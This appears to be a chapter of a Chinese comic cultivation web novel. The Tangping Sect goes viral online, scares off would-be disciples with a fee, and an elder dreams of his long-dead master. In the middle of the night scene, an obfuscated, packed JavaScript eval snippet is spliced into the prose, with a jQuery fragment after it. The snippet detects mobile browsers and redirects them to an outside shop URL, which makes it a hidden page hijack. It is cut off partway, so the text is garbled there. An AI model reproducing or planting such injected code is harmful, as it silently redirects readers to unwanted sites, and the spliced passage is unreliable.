穆惇赢了决赛的事,在仙网论坛上炸了。
第二天一早,祁幻照例打开玉简查看消息,差点被涌进来的提示淹没了。
私信:99+
@提醒:99+
好友申请:99+
他愣了三秒,然后点开热搜榜——
热搜第一:#十年归来的天才剑修#
热搜第二:#躺平宗到底是什么神仙地方#
热搜第三:#求掌门算卦在线等挺急的#
热搜第四:#穆惇沈惊鸿三剑名场面#
热搜第五:#那把锈剑到底是什么来头#
祁幻的手开始抖。
他往下划,发现论坛首页几乎被躺平宗屠版了。
【置顶热帖】深度分析:穆惇对沈惊鸿那三剑,到底意味着什么?
楼主:剑道观察者
内容:第一剑,是为逝者;第二剑,是为十年;第三剑,是为自己。这三剑,是一个剑修十年的心路历程。看完我哭了。
【热帖二】独家专访韩明:输给穆惇后,我想通了
楼主:八卦小能手
内容:韩明接受采访时说:“她那句‘我的剑里有她’,我想了三天。现在我明白了,心里没有人,是赢不了的。”
【热帖三】李长青:我输得心服口服
楼主:青云宗小喇叭
内容:李长青在宗门论坛发帖:“十二年练剑,不如她十年种地。我服了。”
【热帖四】沈惊鸿赛后采访:她回来了,我等到了
楼主:论剑大会官方号
内容:沈惊鸿说:“十年前那半招,我一直记着。但我更想记住的,是今天这三剑。”
【热帖五】投票:躺平宗六个人,你最想加入谁的门下?
选项:
1.掌门典星河(算卦神准)
2.大师姐穆惇(剑道天才归来)
3.二师兄牧殇(话多但暖)
4.三师兄祁幻(管账的一看就很靠谱)
5.小师妹宋栀子(发明家,虽然会炸但很可爱)
6.神秘扫地老头(渡劫期嗑瓜子大佬)
目前投票最高的是:神秘扫地老头和掌门典星河并列第一。
祁幻看到这里,脸色变了。
他颤颤巍巍地点进那条投票帖,评论区已经炸了:
“选老头啊!渡劫期!活着的传说!”
“我选掌门!算卦那么准,我想问问姻缘!”
“没人选二师兄吗?他好可爱!”
“选小师妹的勇士,你们不怕被炸吗?”
“三师兄一看就是老实人,嫁给他肯定靠谱!”
祁幻看完,表情复杂。
他转头看向屋里——典星河还躺在摇椅上晒着太阳,归尘蹲在歪脖子树下嗑瓜子,两人一副事不关己的样子。
“掌门,”他走过去,把玉简递到她面前,“你看看这个。”
典星河睁开一只眼,扫了一眼。
“哦。”她说。
“哦?!”祁幻声音都劈叉了,“热搜第一!屠版!投票!您就‘哦’?”
典星河打了个哈欠。
“不然呢?下去发个帖子说‘谢谢大家’?”
祁幻张了张嘴,说不出话来。
典星河继续道:“让他们闹去。过两天又有新热闹了。”
她翻了个身,继续晒太阳。
祁幻站在原地,愣了三秒,然后看向归尘。
归尘正在嗑瓜子,一脸事不关己。
“前辈,”祁幻走过去,“您也看看,您是投票第一。”
归尘接过玉简,看了一眼。
然后他点了点头。
“拍得还行,但是没有完美展现我无死角的帅脸。”他说。
祁幻:“……”
牧殇凑过来,抢过玉简看了一眼,然后眼睛亮了。
“我也有提名?‘话多但暖’?哈哈哈哈这个评价太准了!”
宋栀子也凑过来:“我呢我呢?”
牧殇往下划:“‘小师妹宋栀子,发明家,虽然会炸但很可爱’——哈哈哈哈‘虽然会炸’!”
宋栀子嘴一瘪,抢过玉简看,然后笑了,笑得很可爱。
“可爱!他们说我很可爱!”
祁幻无语地看着他们。
穆惇从屋里走出来,手里握着那把剑——剑身上又多了第四道痕。
她走到井台边,打了桶水,开始擦剑。
祁幻凑过去,小心翼翼地问:“师姐,你要不要看看论坛?你热搜第一。”
穆惇头也没抬。
“不看。”
“为什么?”
穆惇手上的动作顿了顿。
“看了又不能多长两斤萝卜。”
祁幻愣住了。
牧殇在旁边笑疯了:“哈哈哈哈哈哈师姐绝了!”
宋栀子也跟着笑。
典星河躺在摇椅上,嘴角弯了弯。
归尘蹲在树下,眼望着天,耳边是他们的叽叽喳喳。
下午,山门外突然热闹起来。
祁幻跑出去一看,愣住了。
山门外站着二三十号人,有男有女,有老有少,穿着各色服饰。
为首的还是那个年轻男子——上次来拜师被吓跑的那个。
他看到祁幻出来,眼睛一亮。
“三师兄!”他喊,“我们又来了!”
祁幻后退一步。
“你……你们来干嘛?”
年轻男子理直气壮:“拜师啊!”
他身后的人跟着喊:
“我要拜穆师姐为师!”
“我要跟掌门学算卦!”
“我要跟小师妹学发明!”
“我要跟二师兄学说话!”
最后一个人喊完,全场安静了一秒。
牧殇正好走出来,听到这话,愣了一下。
“跟我学说话?”他问。
那人点点头,一脸真诚。
“二师兄,你说话特别好听!我想学!”
牧殇站在原地,表情复杂。
他张了张嘴,想说点什么,又不知道该说什么。
宋栀子在旁边笑得直不起腰。
典星河慢悠悠地走出来,看着这一群人。
她扫了一眼,掐了掐手指。
“你们……”她说,“命里与躺平宗无缘。”
那群人愣住了。
“又是这句?”
典星河点点头。
“上次不是说了吗,入我宗门者,三年内必被宋栀子的发明炸到。”
她顿了顿。
“你们看昨天热搜了吗?她那锅都炸了。”
那群人的脸色开始变了。
有人小声说:“可是……可是那锅是她自己炸的……”
“对啊,所以更危险。”典星河一脸认真,“自己炸自己,防不胜防。”
那人张了张嘴,没说出话来。
年轻男子不死心:“那……那我们不入宗门,就挂个名?”
典星河想了想。
“挂名的话,每年得交挂名费,一个人一百两。”
年轻男子脸色一白。
“一、一百两?!”
典星河点点头。
“不然呢?我们这有渡劫期大佬,有天才剑修,有神算掌门,收一百两贵吗?”
年轻男子沉默了。
他身后那群人也沉默了。
三秒后——
“那个……我突然想起来家里还有点事……”
“对对对,我也是……”
“告辞告辞!”
一群人来得快,去得更快,转眼就跑得没影了。
祁幻看着他们的背影,又看向典星河。
“掌门,”他说,“你刚才说的是真的?那个挂名费……”
典星河眨眨眼。
“当然是真的。”
典星河笑了。
“他们要是真交,我就真收。”
祁幻愣住了。
然后他低头在账本上默默记了一笔:
“今日新增:吓跑拜师者二十七人。挂名费报价一百两每人,无人成交。损失:零。心情:复杂但好笑。”
傍晚,六个人围坐在主殿门口。
晚饭是红烧肉、炖鸡汤、炒青菜,还有一大盆米饭。
祁幻吃得满嘴流油,一边吃一边翻着玉简。
“热搜还是咱们,”他说,“但风向变了。”
牧殇凑过去:“怎么变了?”
“开始扒咱们每个人的来历了。”祁幻划着屏幕,“穆师姐的已经有人扒了,说十年前是天才剑修,后来销声匿迹,现在王者归来。”
穆惇面无表情地吃饭。
“还有掌门你的,”祁幻继续说,“说你是卦道奇才,师父死后沉寂十年,现在重新出山。”
典星河端着碗,没说话,也没抬头。
“还有前辈的……”祁幻顿了顿。
归尘抬起头。
“什么?”
祁幻看着屏幕,表情有点复杂。
“有人扒出来,说您可能是三千年前上古宗门的幸存者。”
归尘的手顿了顿。
然后他继续吃饭。
“让他们扒,我又没有黑料,真是人红是非多。”他笑着说。
笑得有些勉强。
夜深了。
众人都回屋睡了。
归尘没有回柴房。
他一个人坐在歪脖子树下,看着月亮。
月光洒在他身上,照出他脸上的轮廓。
他蹲在那儿,一动不动。
手里没有瓜子。
典星河从屋里走出来,看见他这样,脚步顿了顿。
然后她走过去,在他旁边蹲下。
从怀里掏出一把瓜子,递给他。
归尘接过,嗑了一颗。
“咔”。
“谢谢,我刚忘带了。”
两人一起嗑瓜子,一起看月亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387673|200271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
过了很久,典星河开口了。
“前辈,”她说,“你今天晚上,有点不对劲?”
归尘没说话。
典星河继续说:“从下午看了那个帖子之后,你就一直这样。”
归尘沉默了一会儿。
“没什么。”他说。
典星河没追问。
过了会儿,归尘开口,“我一直在试图走出来,但是我失去了太多。”
她站起来,拍了拍身上的瓜子壳。
“前辈,不要害怕,还有我们。”
她走了。
归尘一个人坐在树下,看着手里的瓜子。
月光很亮。
他慢慢把瓜子放进嘴里,嗑了一颗。
“咔”。
然后他闭上眼睛。
那天晚上,归尘做了一个梦。
梦里,他站在一片废墟前。
是三千年前的躺平宗。
七座山峰,全部坍塌。主殿只剩断壁残垣。山门碎成几块,牌匾上的字已经看不清了。
他站在那儿,一动不动。
身后传来一个声音。
“小尘。”
他猛地回头。
师父站在他身后,还是三千年前的样子,穿着那件洗得发白的道袍,嘴角带着笑。
归尘张了张嘴,想喊一声“师父”,却发不出声音。
师父走过来,在他面前站定。
“好久不见。”师父说。
归尘的眼泪掉下来。
师父看着他,笑了。
“哭什么?不是活得好好的吗?”
归尘摇摇头。
“我……我没能回去……”他说,声音沙哑得像砂纸,“我没能救您……”
师父愣了一下,然后笑得更开了。
“傻孩子,”他说,“我让你走,不是让你回来救我。是让你替我活下去。”
归尘看着他,眼泪止不住。
师父伸出手,在他脑袋上敲了一下。
“敲你的,三千年前就想敲了,一直没舍得。”
归尘捂住脑袋,又哭又笑。
师父看着他,眼神温柔。
“这些年,过得怎么样?”
归尘想了想。
“一开始不好。”他说,“后来……后来遇到了一群人。”
“一群人?”
“嗯。一群傻乎乎的。”归尘说,“种地的,算卦的,话多的,管账的,搞发明的。”
师父笑了。
“听起来挺热闹。”
归尘点点头。
“很热闹。”
师父看着他,看了很久。
然后他说:“小尘,我该走了。”
归尘愣住了。
“师父……”
师父摆摆手。
“你已经不需要我了。”他说,“你有人陪了。”
他转身,往废墟深处走去。
归尘想追,却迈不开腿。
师父走了两步,又回头。
“对了,小尘。”
归尘看着他。
师父笑了笑。
“不要害怕失去,失去从来不是终点,而是另一种开始。放过得不到的,珍惜现在拥有的,往前走。还有啊,记得多想想师父。”
然后他消失了。
归尘站在原地,泪流满面。
他睁开眼睛。
月光照在他脸上。
他发现自己还坐在歪脖子树下,靠着树干。
手里还握着那把扫帚。
他低头看了看。
扫帚沉默着。
他站起来,走回柴房。
推开门的瞬间,他听见身后传来一个声音。
很轻。
像风吹过竹林。
“小尘,好好活着。”
归尘脚步顿了顿。
他没有回头。
但他点了点头。
【章末小剧场:躺平宗摸鱼群】
钱多多:@所有人,今日汇总:吓跑拜师者二十七人,挂名费报价一百两每人,无人成交。损失:零。收入:零。心情:复杂但好笑。
赵铁柱:哈哈哈哈哈哈二十七人!
王甜甜:掌门太厉害了!
典星河:还行,哈哈。
归尘:@钱多多,瓜子还有吗?
钱多多:有有有!但不多了。
归尘:明天多买点。
钱多多:好嘞!
王甜甜:怀疑归爷爷是瓜子成精,不,我们全宗门都是瓜子精。
钱多多:?你活够了?
典星河:我们宗门日后改名为“神瓜宗”。
归尘:挺好。
王甜甜:我附议。
典星河:前辈昨日睡得可好?
归尘:做了个梦。
典星河:什么梦?
归尘:梦见有人敲我脑袋。
典星河:……这才是活够了。
李翠花:。